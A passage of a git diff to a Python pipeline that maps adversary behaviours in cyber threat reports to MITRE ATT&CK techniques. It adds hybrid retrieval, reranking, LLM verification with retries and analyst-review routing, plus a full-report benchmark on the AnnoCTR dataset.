f"Return at most {behavior_limit} behaviors from this chunk. Entity anchors are hints, not requirements.\n\n" + f"ENTITY ANCHORS\n{anchor_text}\n\n" f"REPORT CHUNK\n{chunk}" ) started = time.perf_counter() response = client.generate( model, prompt, - max_new_tokens=1800, + max_new_tokens=4096, temperature=0, - grammar={"json_schema": BEHAVIOR_SCHEMA, "label": "threat_behaviors", "strict": True}, + grammar={"json_schema": response_schema, "label": "threat_behaviors", "strict": True}, wait_for_capacity=True, provision_timeout_s=provision_timeout_s, ) calls.append( - request_record( - f"behavior_extract_{chunk_index}", + traced_request_record( + f"behavior_extract_{chunk_label}", model, response, (time.perf_counter() - started) * 1000, function="generate", + request_payload={ + "prompt": prompt, + "max_new_tokens": 4096, + "temperature": 0, + "grammar": { + "json_schema": response_schema, + "label": "threat_behaviors", + "strict": True, + }, + }, ) ) - payload = parse_generated_json(response) + try: + payload = parse_generated_json(response) + except ValueError: + retry_size = max(800, len(chunk) // 2) + retry_spans = split_report(chunk, retry_size) + retry_limit = max(1, behavior_limit // 2) + if len(retry_spans) < 2 and retry_limit == behavior_limit: + raise + calls[-1]["outcome"] = "invalid_json_retried_with_smaller_request" + if len(retry_spans) < 2: + pending_chunks.insert( + 0, + (chunk_start, chunk_end, f"{chunk_label}.0", retry_limit), + ) + else: + pending_chunks[0:0] = [ + ( + chunk_start + start, + chunk_start + end, + f"{chunk_label}.{index}", + retry_limit, + ) + for index, (start, end) in enumerate(retry_spans) + ] + continue rows = payload.get("behaviors") if not isinstance(rows, list): raise TypeError("Behavior extractor omitted behaviors") @@ -178,21 +355,31 @@ def extract_behaviors( quote, relative_start, relative_end = grounded start = chunk_start + relative_start end = chunk_start + relative_end - normalized = " ".join(quote.casefold().split()) - if normalized in seen_quotes: + action = str(row.get("action", "")).strip() + object_ = str(row.get("object", "")).strip() + behavior_key = (start, end, _normalized_text(action), _normalized_text(object_)) + if behavior_key in seen_behaviors: continue - seen_quotes.add(normalized) + seen_behaviors.add(behavior_key) + overlapping_entities = tuple( + entity for entity in entities if int(entity["start"]) < end and int(entity["end"]) > start + ) behaviors.append( BehaviorEvidence( quote=quote, summary=str(row.get("summary", "")).strip(), source_start=start, source_end=end, + entities=overlapping_entities, + actor=str(row.get("actor", "")).strip(), + action=action, + object=object_, + tool=str(row.get("tool", "")).strip(), + target=str(row.get("target", "")).strip(), + assertion=str(row.get("assertion", "observed")), ) ) - if len(behaviors) >= max_behaviors: - return behaviors, calls - return behaviors, calls + return sorted(behaviors, key=lambda row: (row.source_start, row.source_end)), calls def enrich_entities( @@ -233,6 +420,12 @@ def enrich_entities( source_start=behavior.source_start, source_end=behavior.source_end, entities=tuple(entity for entity in entities if isinstance(entity, dict)), + actor=behavior.actor, + action=behavior.action, + object=behavior.object, + tool=behavior.tool, + target=behavior.target, + assertion=behavior.assertion, ) ) return enriched, calls @@ -254,11 +447,116 @@ def retrieve( technique_id=techniques[int(index)].technique_id, name=techniques[int(index)].name, dense_score=float(scores[int(index)]), + dense_rank=rank, ) - for index in indexes + for rank, index in enumerate(indexes) ] +def retrieve_hybrid( + query_vector: np.ndarray, + catalog_vectors: np.ndarray, + query_multivector: np.ndarray, + catalog_multivectors: list[np.ndarray], + techniques: list[Technique], + *, + dense_count: int, + late_interaction_count: int, + candidate_count: int, + exemplar_candidates: list[ExemplarScore] | None = None, + exemplar_count: int = 0, + exemplar_rrf_weight: float = 1.0, +) -> list[CandidateScore]: + if catalog_vectors.shape[0] != len(techniques) or len(catalog_multivectors) != len(techniques): + raise ValueError("Catalog embeddings and techniques have different row counts") + dense_scores = catalog_vectors @ query_vector + late_scores = np.asarray(maxsim(query_multivector, catalog_multivectors), dtype=np.float32) + dense_order = np.argsort(-dense_scores, kind="stable") + late_order = np.argsort(-late_scores, kind="stable") + dense_ranks = {int(index): rank for rank, index in enumerate(dense_order)} + late_ranks = {int(index): rank for rank, index in enumerate(late_order)} + pool = {int(index) for index in dense_order[:dense_count]} + pool.update(int(index) for index in late_order[:late_interaction_count]) + technique_indexes = {technique.technique_id: index for index, technique in enumerate(techniques)} + exemplar_by_id = { + row.technique_id: row + for row in (exemplar_candidates or [])[:exemplar_count] + if row.technique_id in technique_indexes + } + pool.update(technique_indexes[technique_id] for technique_id in exemplar_by_id) + + rows: list[CandidateScore] = [] + for index in pool: + dense_rank = dense_ranks[index] + late_rank = late_ranks[index] + fusion_score = 1.0 / (60 + dense_rank + 1) + 1.0 / (60 + late_rank + 1) + exemplar = exemplar_by_id.get(techniques[index].technique_id) + if exemplar is not None: + fusion_score += exemplar_rrf_weight / (60 + exemplar.rank + 1) + rows.append( + CandidateScore( + technique_id=techniques[index].technique_id, + name=techniques[index].name, + dense_score=float(dense_scores[index]), + late_interaction_score=float(late_scores[index]), + dense_rank=dense_rank, + late_interaction_rank=late_rank, + fusion_score=fusion_score, + exemplar_score=exemplar.score if exemplar is not None else None, + exemplar_rank=exemplar.rank if exemplar is not None else None, + exemplar_quote=exemplar.quote if exemplar is not None else None, + exemplar_document=exemplar.document if exemplar is not None else None, + ) + ) + return sorted( + rows, + key=lambda row: ( + -(row.fusion_score or 0.0), + row.dense_rank if row.dense_rank is not None else len(techniques), + row.technique_id, + ), + )[:candidate_count] + + +def retrieve_exemplars( + query_vector: np.ndarray, + example_vectors: np.ndarray, + examples: list[LabeledTechniqueExample], + technique_lookup: dict[str, Technique], + candidate_count: int, +) -> list[ExemplarScore]: + if example_vectors.shape[0] != len(examples): + raise ValueError("Example vectors and labeled examples have different row counts") + scores = example_vectors @ query_vector + order = np.argsort(-scores, kind="stable") + result: list[ExemplarScore] = [] + seen: set[str] = set() + for index in order: + example = examples[int(index)] + if example.technique_id not in technique_lookup or example.technique_id in seen: + continue + seen.add(example.technique_id) + result.append( + ExemplarScore( + technique_id=example.technique_id, + score=float(scores[int(index)]), + rank=len(result), + quote=example.context, + document=example.document, + ) + ) + if len(result) == candidate_count: + break + return result + + +def _candidate_text(candidate: CandidateScore, technique_lookup: dict[str, Technique]) -> str: + text = technique_lookup[candidate.technique_id].candidate_text + if candidate.exemplar_quote: + text += f"\nLabeled report example: {candidate.exemplar_quote}" + return text + + def rerank( client: SIEClientProtocol, model: str, @@ -271,7 +569,7 @@ def rerank( ) -> tuple[list[CandidateScore], dict[str, Any]]: selected = candidates[:rerank_count] query = Item(id="behavior", text=f"Observed adversary behavior: {behavior.quote}") - items = [Item(id=row.technique_id, text=technique_lookup[row.technique_id].candidate_text) for row in selected] + items = [Item(id=row.technique_id, text=_candidate_text(row, technique_lookup)) for row in selected] started = time.perf_counter() response = client.score( model, @@ -281,22 +579,42 @@ def rerank( wait_for_capacity=True, provision_timeout_s=provision_timeout_s, ) - call = request_record("rerank", model, response, (time.perf_counter() - started) * 1000, function="score") + call = traced_request_record( + "rerank", + model, + response, + (time.perf_counter() - started) * 1000, + function="score", + request_payload={ + "query": {"id": query["id"], "text": query["text"]}, + "items": [{"id": item["id"], "text": item["text"]} for item in items], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior.", + }, + ) payload = jsonable(response) rows = payload.get("scores", []) if isinstance(payload, dict) else [] - dense_by_id = {row.technique_id: row.dense_score for row in selected} + selected_by_id = {row.technique_id: row for row in selected} ranked: list[CandidateScore] = [] for rank, row in enumerate(sorted(rows, key=lambda item: int(item.get("rank", 0)))): technique_id = str(row.get("item_id", "")) - if technique_id not in dense_by_id: + if technique_id not in selected_by_id: raise RuntimeError(f"Reranker returned an unknown technique ID: {technique_id}") + source = selected_by_id[technique_id] ranked.append( CandidateScore( technique_id=technique_id, name=technique_lookup[technique_id].name, - dense_score=dense_by_id[technique_id], + dense_score=source.dense_score, rerank_score=float(row.get("score", 0)), rerank_rank=rank, + late_interaction_score=source.late_interaction_score, + dense_rank=source.dense_rank, + late_interaction_rank=source.late_interaction_rank, + fusion_score=source.fusion_score, + exemplar_score=source.exemplar_score, + exemplar_rank=source.exemplar_rank, + exemplar_quote=source.exemplar_quote, + exemplar_document=source.exemplar_document, ) ) if len(ranked) != len(selected): @@ -313,30 +631,118 @@ def _verify_once( *, provision_timeout_s: float, stage: str, -) -> tuple[dict[str, Any], dict[str, Any]]: + max_new_tokens: int = 500, +) -> tuple[dict[str, Any] | None, dict[str, Any]]: candidate_text = "\n\n".join( - f"CANDIDATE {index}\n{technique_lookup[row.technique_id].candidate_text}" - for index, row in enumerate(candidates) + f"CANDIDATE {index}\n{_candidate_text(row, technique_lookup)}" for index, row in enumerate(candidates) + ) + event_fields = "\n".join( + field + for field in [ + f"Actor: {behavior.actor}" if behavior.actor else "", + f"Action: {behavior.action}" if behavior.action else "", + f"Object: {behavior.object}" if behavior.object else "", + f"Tool: {behavior.tool}" if behavior.tool else "", + f"Target: {behavior.target}" if behavior.target else "", + ] + if field ) prompt = ( - "You verify one proposed ATT&CK mapping. Select a candidate only when its definition directly matches the " - "observed behavior. Copy the supporting words exactly from OBSERVED BEHAVIOR. Mark ambiguous when two " - "candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst, not this " - "model, accepts or rejects the final mapping.\n\n" - f"OBSERVED BEHAVIOR\n{behavior.quote}\n\n{candidate_text}" + "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one " + "candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access " + "method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining " + "detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a " + "payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for " + "a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions " + "do not become adversary techniques. A labeled report example shows how the candidate has been used in public " + "training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes " + "adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain " + "plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. " + "Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. " + "Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 " + "words.\n\n" + f"EXTRACTED EVENT\n{event_fields}\n\nSOURCE QUOTE\n{behavior.quote}\n\n{candidate_text}" ) started = time.perf_counter() response = client.generate( model, prompt, - max_new_tokens=700, + max_new_tokens=max_new_tokens, temperature=0, grammar={"json_schema": verification_schema(len(candidates)), "label": "attck_verification", "strict": True}, wait_for_capacity=True, provision_timeout_s=provision_timeout_s, ) - call = request_record(stage, model, response, (time.perf_counter() - started) * 1000, function="generate") - return parse_generated_json(response), call + call = traced_request_record( + stage, + model, + response, + (time.perf_counter() - started) * 1000, + function="generate", + request_payload={ + "prompt": prompt, + "max_new_tokens": max_new_tokens, + "temperature": 0, + "grammar": { + "json_schema": verification_schema(len(candidates)), + "label": "attck_verification", + "strict": True, + }, + }, + ) + try: + return parse_generated_json(response), call + except ValueError: + call["outcome"] = "invalid_json" + return None, call + + +def _verify_with_retry( + client: SIEClientProtocol, + model: str, + behavior: BehaviorEvidence, + candidates: list[CandidateScore], + technique_lookup: dict[str, Technique], + *, + provision_timeout_s: float, + stage: str, +) -> tuple[dict[str, Any], list[dict[str, Any]]]: + result, first_call = _verify_once( + client, + model, + behavior, + candidates, + technique_lookup, + provision_timeout_s=provision_timeout_s, + stage=stage, + ) + calls = [first_call] + if result is not None: + return result, calls + + result, retry_call = _verify_once( + client, + model, + behavior, + candidates, + technique_lookup, + provision_timeout_s=provision_timeout_s, + stage=f"{stage}_retry", + max_new_tokens=1200, + ) + calls.append(retry_call) + if result is not None: + return result, calls + + return ( + { + "selected_index": -1, + "support": "unsupported", + "evidence_quote": "", + "rationale": "Verifier returned invalid JSON twice; no mapping emitted.", + }, + calls, + ) def verify_mapping( @@ -354,7 +760,7 @@ def verify_mapping( finalists = candidates[:verifier_count] if not finalists: raise ValueError("Verifier requires at least one candidate") - result, call = _verify_once( + result, calls = _verify_with_retry( client, verify_model, behavior, @@ -363,11 +769,10 @@ def verify_mapping( provision_timeout_s=provision_timeout_s, stage="verify", ) - calls = [call] escalated = False verifier_model = verify_model if result.get("support") == "ambiguous" and use_escalation: - result, escalation_call = _verify_once( + result, escalation_calls = _verify_with_retry( client, escalation_model, behavior, @@ -376,7 +781,7 @@ def verify_mapping( provision_timeout_s=provision_timeout_s, stage="escalate", ) - calls.append(escalation_call) + calls.extend(escalation_calls) escalated = True verifier_model = escalation_model support = str(result.get("support", "unsupported")) @@ -392,7 +797,13 @@ def verify_mapping( selected_index = -1 evidence_quote = "" selected_id = finalists[selected_index].technique_id if selected_index >= 0 else None - route = {"supported": "suggested_mapping", "ambiguous": "analyst_review", "unsupported": "abstain"}[support] + exemplar_agreement = support == "supported" and selected_index >= 0 and finalists[selected_index].exemplar_rank == 0 + if selected_id is None: + route = "abstain" + elif exemplar_agreement: + route = "suggested_mapping" + else: + route = "analyst_review" return ( MappingDecision( behavior=behavior, @@ -405,10 +816,17 @@ def verify_mapping( candidates=tuple(finalists), verifier_model=verifier_model, escalated=escalated, + exemplar_agreement=exemplar_agreement, ), calls, ) def evidence_sha256(behavior: BehaviorEvidence) -> str: - return hashlib.sha256(behavior.quote.encode("utf-8")).hexdigest() + payload = json.dumps( + behavior.to_dict(), + ensure_ascii=False, + separators=(",", ":"), + sort_keys=True, + ) + return hashlib.sha256(payload.encode("utf-8")).hexdigest() diff --git a/examples/threat-report-attck-mapper/threat_mapper/runner.py b/examples/threat-report-attck-mapper/threat_mapper/runner.py index 6e4717301..836ddeb26 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/runner.py +++ b/examples/threat-report-attck-mapper/threat_mapper/runner.py @@ -6,6 +6,7 @@ import shutil import tempfile import time +from concurrent.futures import ThreadPoolExecutor from datetime import UTC, datetime from pathlib import Path from typing import Any @@ -16,11 +17,29 @@ from .catalog import catalog_by_id, load_annoctr_catalog, load_catalog from .config import RUNS_DIR -from .data import ensure_sources, find_annoctr_catalog, find_annoctr_report, load_linking_cases, sha256 -from .evaluation import evaluate_predictions +from .data import ( + ensure_sources, + find_annoctr_catalog, + find_annoctr_report, + list_annoctr_reports, + load_gold_mentions, + load_linking_cases, + load_training_examples, + sha256, +) +from .evaluation import evaluate_full_report_predictions, evaluate_predictions from .models import BehaviorEvidence, Technique -from .pipeline import enrich_entities, evidence_sha256, extract_behaviors, rerank, retrieve, verify_mapping -from .sie import encode_texts, jsonable, request_record +from .pipeline import ( + evidence_sha256, + extract_behaviors, + extract_document_entities, + rerank, + retrieve, + retrieve_exemplars, + retrieve_hybrid, + verify_mapping, +) +from .sie import encode_multivectors, encode_texts, jsonable, request_record def write_json(path: Path, value: Any) -> None: @@ -145,6 +164,10 @@ def _read_report( ] +def _behavior_exemplar_text(behavior: BehaviorEvidence) -> str: + return f"Span: {behavior.quote}\nSentence: {behavior.quote}" + + def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Path: run_id = _validate_run_id(run_id) if not report_path.is_file(): @@ -152,6 +175,9 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat sources = ensure_sources(config) techniques = load_catalog(sources["attack"]) lookup = catalog_by_id(techniques) + training_examples = [ + example for example in load_training_examples(sources["annoctr"]) if example.technique_id in lookup + ] final_dir, staging, reservation = _begin_run(run_id) calls: list[dict[str, Any]] = [] preserve_artifacts = False @@ -165,22 +191,26 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat report_text, parse_calls = _read_report(client, config, report_path) calls.extend(parse_calls) (staging / "parsed-report.md").write_text(report_text, encoding="utf-8") + entities, entity_calls = extract_document_entities( + client, + config["models"]["entities"], + report_text, + chunk_characters=int(config["report"]["entity_chunk_characters"]), + overlap_characters=int(config["report"]["chunk_overlap_characters"]), + provision_timeout_s=timeout, + ) + calls.extend(entity_calls) behaviors, behavior_calls = extract_behaviors( client, config["models"]["behavior_extract"], report_text, max_behaviors=int(config["report"]["max_behaviors"]), chunk_characters=int(config["report"]["chunk_characters"]), + overlap_characters=int(config["report"]["chunk_overlap_characters"]), + document_entities=entities, provision_timeout_s=timeout, ) calls.extend(behavior_calls) - behaviors, entity_calls = enrich_entities( - client, - config["models"]["entities"], - behaviors, - provision_timeout_s=timeout, - ) - calls.extend(entity_calls) catalog_vectors, catalog_calls = encode_texts( client, config["models"]["retrieve"], @@ -192,10 +222,21 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat stage="catalog_encode", ) calls.extend(catalog_calls) + catalog_multivectors, late_catalog_calls = encode_multivectors( + client, + config["models"]["late_interaction"], + [technique.candidate_text for technique in techniques], + is_query=False, + batch_size=int(config["retrieval"]["multivector_batch_size"]), + provision_timeout_s=timeout, + stage="late_catalog_encode", + ) + calls.extend(late_catalog_calls) + query_texts = [row.event_text for row in behaviors] query_vectors, query_calls = encode_texts( client, config["models"]["retrieve"], - [f"Observed behavior: {row.quote}\nBehavior summary: {row.summary}" for row in behaviors], + query_texts, instruction=config["retrieval"]["instruction"], is_query=True, batch_size=int(config["retrieval"]["embedding_batch_size"]), @@ -203,6 +244,38 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat stage="behavior_encode", ) calls.extend(query_calls) + exemplar_vectors, exemplar_calls = encode_texts( + client, + config["models"]["retrieve"], + [example.embedding_text for example in training_examples], + instruction=config["retrieval"]["exemplar_instruction"], + is_query=True, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="exemplar_catalog_encode", + ) + calls.extend(exemplar_calls) + exemplar_query_vectors, exemplar_query_calls = encode_texts( + client, + config["models"]["retrieve"], + [_behavior_exemplar_text(row) for row in behaviors], + instruction=config["retrieval"]["exemplar_instruction"], + is_query=True, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="exemplar_behavior_encode", + ) + calls.extend(exemplar_query_calls) + query_multivectors, late_query_calls = encode_multivectors( + client, + config["models"]["late_interaction"], + query_texts, + is_query=True, + batch_size=int(config["retrieval"]["multivector_batch_size"]), + provision_timeout_s=timeout, + stage="late_behavior_encode", + ) + calls.extend(late_query_calls) np.savez_compressed( staging / "embeddings.npz", catalog=catalog_vectors, @@ -210,13 +283,40 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat technique_ids=np.asarray([row.technique_id for row in techniques]), evidence_sha256=np.asarray([evidence_sha256(row) for row in behaviors]), ) - decisions: list[dict[str, Any]] = [] + np.savez_compressed( + staging / "exemplar-embeddings.npz", + examples=exemplar_vectors, + queries=exemplar_query_vectors, + technique_ids=np.asarray([row.technique_id for row in training_examples]), + documents=np.asarray([row.document for row in training_examples]), + evidence_sha256=np.asarray([evidence_sha256(row) for row in behaviors]), + ) + np.savez_compressed( + staging / "late-interaction.npz", + **{f"catalog_{index}": value for index, value in enumerate(catalog_multivectors)}, + **{f"query_{index}": value for index, value in enumerate(query_multivectors)}, + ) + ranked_rows: list[list[Any]] = [] for index, behavior in enumerate(behaviors): - dense_candidates = retrieve( + exemplar_candidates = retrieve_exemplars( + exemplar_query_vectors[index], + exemplar_vectors, + training_examples, + lookup, + int(config["retrieval"]["exemplar_pool_count"]), + ) + dense_candidates = retrieve_hybrid( query_vectors[index], catalog_vectors, + query_multivectors[index], + catalog_multivectors, techniques, - int(config["retrieval"]["candidate_count"]), + dense_count=int(config["retrieval"]["dense_pool_count"]), + late_interaction_count=int(config["retrieval"]["late_interaction_pool_count"]), + candidate_count=int(config["retrieval"]["candidate_count"]), + exemplar_candidates=exemplar_candidates, + exemplar_count=int(config["retrieval"]["exemplar_pool_count"]), + exemplar_rrf_weight=float(config["retrieval"]["exemplar_rrf_weight"]), ) ranked, rerank_call = rerank( client, @@ -228,6 +328,10 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat provision_timeout_s=timeout, ) calls.append({**rerank_call, "evidence_sha256": evidence_sha256(behavior)}) + ranked_rows.append(ranked) + + decisions: list[dict[str, Any]] = [] + for behavior, ranked in zip(behaviors, ranked_rows, strict=True): decision, verification_calls = verify_mapping( client, config["models"]["verify"], @@ -259,9 +363,16 @@ def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Pat "version": config["sources"]["attack"]["version"], "active_techniques": len(techniques), }, + "labeled_example_index": { + "dataset": "AnnoCTR", + "split": "train", + "commit": config["sources"]["annoctr"]["commit"], + "examples": len(training_examples), + }, "status": "analyst_review_required", "behavior_count": len(behaviors), - "suggested_mapping_count": sum(row["selected_technique_id"] is not None for row in decisions), + "suggested_mapping_count": sum(row["route"] == "suggested_mapping" for row in decisions), + "analyst_review_count": sum(row["route"] == "analyst_review" for row in decisions), "mappings": decisions, } write_json(staging / "review.json", review) @@ -482,3 +593,399 @@ def benchmark( with contextlib.suppress(OSError): reservation.rmdir() return final_dir + + +def full_report_benchmark( + config: dict[str, Any], + *, + split: str, + limit: int | None, + run_id: str, +) -> Path: + run_id = _validate_run_id(run_id) + if split not in {"dev", "test"}: + raise ValueError("split must be dev or test") + if limit is not None and limit < 1: + raise ValueError("limit must be positive") + + sources = ensure_sources(config) + catalog_path = find_annoctr_catalog(sources["annoctr"]) + techniques = load_annoctr_catalog(catalog_path) + lookup = catalog_by_id(techniques) + training_examples = [ + example for example in load_training_examples(sources["annoctr"]) if example.technique_id in lookup + ] + excluded_documents = {str(value) for value in config["evaluation"].get("excluded_documents", [])} + report_paths = [ + path for path in list_annoctr_reports(sources["annoctr"], split) if path.stem not in excluded_documents + ] + if limit is not None: + report_paths = report_paths[:limit] + selected_documents = {path.stem for path in report_paths} + all_gold = load_gold_mentions(sources["annoctr"], split) + gold_mentions = [row for row in all_gold if row.document in selected_documents and row.technique_id in lookup] + excluded_gold = [row for row in all_gold if row.document in selected_documents and row.technique_id not in lookup] + + final_dir, staging, reservation = _begin_run(run_id) + calls: list[dict[str, Any]] = [] + predictions: list[dict[str, Any]] = [] + reports: dict[str, str] = {} + preserve_artifacts = False + try: + timeout = float(config["cluster"]["provision_timeout_s"]) + with SIEClient( + config["cluster"]["url"], + api_key=config["cluster"]["api_key"] or None, + timeout_s=timeout, + ) as client: + report_artifacts = staging / "reports" + report_artifacts.mkdir() + entities_by_document: dict[str, list[dict[str, Any]]] = {} + behaviors_by_document: dict[str, list[BehaviorEvidence]] = {} + report_sha256: dict[str, str] = {} + + for report_path in report_paths: + document = report_path.stem + reports[document] = report_path.read_text(encoding="utf-8") + report_sha256[document] = sha256(report_path) + + # Start the longest reports first so one multi-chunk report does not + # become a serial tail after every short report has finished. + report_items = sorted( + reports.items(), + key=lambda item: (-len(item[1]), item[0]), + ) + + # Keep each model resident while it processes every report. A single-GPU + # development server can then run the same ensemble without reloading a + # 27B verifier between individual behaviors. + def extract_entities_job(item: tuple[str, str]) -> tuple[str, list[dict[str, Any]], list[dict[str, Any]]]: + document, report_text = item + entities, entity_calls = extract_document_entities( + client, + config["models"]["entities"], + report_text, + chunk_characters=int(config["report"]["entity_chunk_characters"]), + overlap_characters=int(config["report"]["chunk_overlap_characters"]), + provision_timeout_s=timeout, + ) + return document, entities, entity_calls + + with ThreadPoolExecutor(max_workers=int(config["concurrency"]["documents"])) as pool: + entity_results = pool.map(extract_entities_job, report_items) + for document, entities, entity_calls in entity_results: + entities_by_document[document] = entities + calls.extend({**call, "document": document} for call in entity_calls) + + def extract_behaviors_job( + item: tuple[str, str], + ) -> tuple[str, list[BehaviorEvidence], list[dict[str, Any]]]: + document, report_text = item + behaviors, behavior_calls = extract_behaviors( + client, + config["models"]["behavior_extract"], + report_text, + max_behaviors=int(config["report"]["max_behaviors"]), + chunk_characters=int(config["report"]["chunk_characters"]), + overlap_characters=int(config["report"]["chunk_overlap_characters"]), + document_entities=entities_by_document[document], + provision_timeout_s=timeout, + ) + return document, behaviors, behavior_calls + + with ThreadPoolExecutor(max_workers=int(config["concurrency"]["documents"])) as pool: + behavior_results = pool.map(extract_behaviors_job, report_items) + for document, behaviors, behavior_calls in behavior_results: + behaviors_by_document[document] = behaviors + calls.extend({**call, "document": document} for call in behavior_calls) + + for report_path in report_paths: + document = report_path.stem + write_json( + report_artifacts / f"{document}.json", + { + "document": document, + "sha256": report_sha256[document], + "characters": len(reports[document]), + "entities": entities_by_document[document], + "behaviors": [row.to_dict() for row in behaviors_by_document[document]], + "predictions": [], + }, + ) + write_json(staging / "api-calls.json", calls) + preserve_artifacts = True + + actionable = [ + (document, behavior) for document, behaviors in behaviors_by_document.items() for behavior in behaviors + ] + query_texts = [behavior.event_text for _, behavior in actionable] + catalog_texts = [technique.candidate_text for technique in techniques] + catalog_vectors, catalog_calls = encode_texts( + client, + config["models"]["retrieve"], + catalog_texts, + instruction=None, + is_query=False, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="catalog_encode", + ) + calls.extend(catalog_calls) + query_vectors, query_calls = encode_texts( + client, + config["models"]["retrieve"], + query_texts, + instruction=config["retrieval"]["instruction"], + is_query=True, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="behavior_encode", + ) + calls.extend(query_calls) + exemplar_vectors, exemplar_calls = encode_texts( + client, + config["models"]["retrieve"], + [example.embedding_text for example in training_examples], + instruction=config["retrieval"]["exemplar_instruction"], + is_query=True, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="exemplar_catalog_encode", + ) + calls.extend(exemplar_calls) + exemplar_query_vectors, exemplar_query_calls = encode_texts( + client, + config["models"]["retrieve"], + [_behavior_exemplar_text(behavior) for _, behavior in actionable], + instruction=config["retrieval"]["exemplar_instruction"], + is_query=True, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="exemplar_behavior_encode", + ) + calls.extend(exemplar_query_calls) + catalog_multivectors, late_catalog_calls = encode_multivectors( + client, + config["models"]["late_interaction"], + catalog_texts, + is_query=False, + batch_size=int(config["retrieval"]["multivector_batch_size"]), + provision_timeout_s=timeout, + stage="late_catalog_encode", + ) + calls.extend(late_catalog_calls) + query_multivectors, late_query_calls = encode_multivectors( + client, + config["models"]["late_interaction"], + query_texts, + is_query=True, + batch_size=int(config["retrieval"]["multivector_batch_size"]), + provision_timeout_s=timeout, + stage="late_behavior_encode", + ) + calls.extend(late_query_calls) + np.savez_compressed( + staging / "catalog-embeddings.npz", + dense=catalog_vectors, + queries=query_vectors, + technique_ids=np.asarray([row.technique_id for row in techniques]), + evidence_sha256=np.asarray([evidence_sha256(row) for _, row in actionable]), + ) + np.savez_compressed( + staging / "exemplar-embeddings.npz", + examples=exemplar_vectors, + queries=exemplar_query_vectors, + technique_ids=np.asarray([row.technique_id for row in training_examples]), + documents=np.asarray([row.document for row in training_examples]), + evidence_sha256=np.asarray([evidence_sha256(row) for _, row in actionable]), + ) + np.savez_compressed( + staging / "catalog-late-interaction.npz", + **{f"technique_{index}": value for index, value in enumerate(catalog_multivectors)}, + **{f"query_{index}": value for index, value in enumerate(query_multivectors)}, + ) + + candidate_rows: list[tuple[str, BehaviorEvidence, list[Any]]] = [] + for index, (document, behavior) in enumerate(actionable): + exemplar_candidates = retrieve_exemplars( + exemplar_query_vectors[index], + exemplar_vectors, + training_examples, + lookup, + int(config["retrieval"]["exemplar_pool_count"]), + ) + candidates = retrieve_hybrid( + query_vectors[index], + catalog_vectors, + query_multivectors[index], + catalog_multivectors, + techniques, + dense_count=int(config["retrieval"]["dense_pool_count"]), + late_interaction_count=int(config["retrieval"]["late_interaction_pool_count"]), + candidate_count=int(config["retrieval"]["candidate_count"]), + exemplar_candidates=exemplar_candidates, + exemplar_count=int(config["retrieval"]["exemplar_pool_count"]), + exemplar_rrf_weight=float(config["retrieval"]["exemplar_rrf_weight"]), + ) + candidate_rows.append((document, behavior, candidates)) + + def rerank_job( + item: tuple[str, BehaviorEvidence, list[Any]], + ) -> tuple[str, BehaviorEvidence, list[Any], dict[str, Any]]: + document, behavior, candidates = item + ranked, rerank_call = rerank( + client, + config["models"]["rerank"], + behavior, + candidates, + lookup, + rerank_count=int(config["retrieval"]["rerank_count"]), + provision_timeout_s=timeout, + ) + return document, behavior, ranked, rerank_call + + ranked_by_key: dict[tuple[str, str], list[Any]] = {} + with ThreadPoolExecutor(max_workers=int(config["concurrency"]["rerank"])) as pool: + rerank_results = pool.map(rerank_job, candidate_rows) + for document, behavior, ranked, rerank_call in rerank_results: + ranked_by_key[(document, evidence_sha256(behavior))] = ranked + calls.append({**rerank_call, "document": document, "evidence_sha256": evidence_sha256(behavior)}) + + def verify_job( + item: tuple[str, BehaviorEvidence], + ) -> tuple[str, BehaviorEvidence, Any, list[dict[str, Any]]]: + document, behavior = item + key = (document, evidence_sha256(behavior)) + decision, verification_calls = verify_mapping( + client, + config["models"]["verify"], + config["models"]["escalate"], + behavior, + ranked_by_key[key], + lookup, + verifier_count=int(config["retrieval"]["verifier_count"]), + use_escalation=bool(config["report"]["use_escalation"]), + provision_timeout_s=timeout, + ) + return document, behavior, decision, verification_calls + + decisions_by_key: dict[tuple[str, str], Any] = {} + with ThreadPoolExecutor(max_workers=int(config["concurrency"]["verify"])) as pool: + verification_results = pool.map(verify_job, actionable) + for document, behavior, decision, verification_calls in verification_results: + key = (document, evidence_sha256(behavior)) + decisions_by_key[key] = decision + calls.extend( + {**call, "document": document, "evidence_sha256": evidence_sha256(behavior)} + for call in verification_calls + ) + + for report_path in report_paths: + document = report_path.stem + behaviors = behaviors_by_document[document] + document_predictions: list[dict[str, Any]] = [] + for behavior in behaviors: + base = {"document": document, **behavior.to_dict()} + decision = decisions_by_key[(document, evidence_sha256(behavior))] + row = { + **base, + "route": decision.route, + "support": decision.support, + "selected_technique_id": decision.selected_technique_id, + "evidence_quote": decision.evidence_quote, 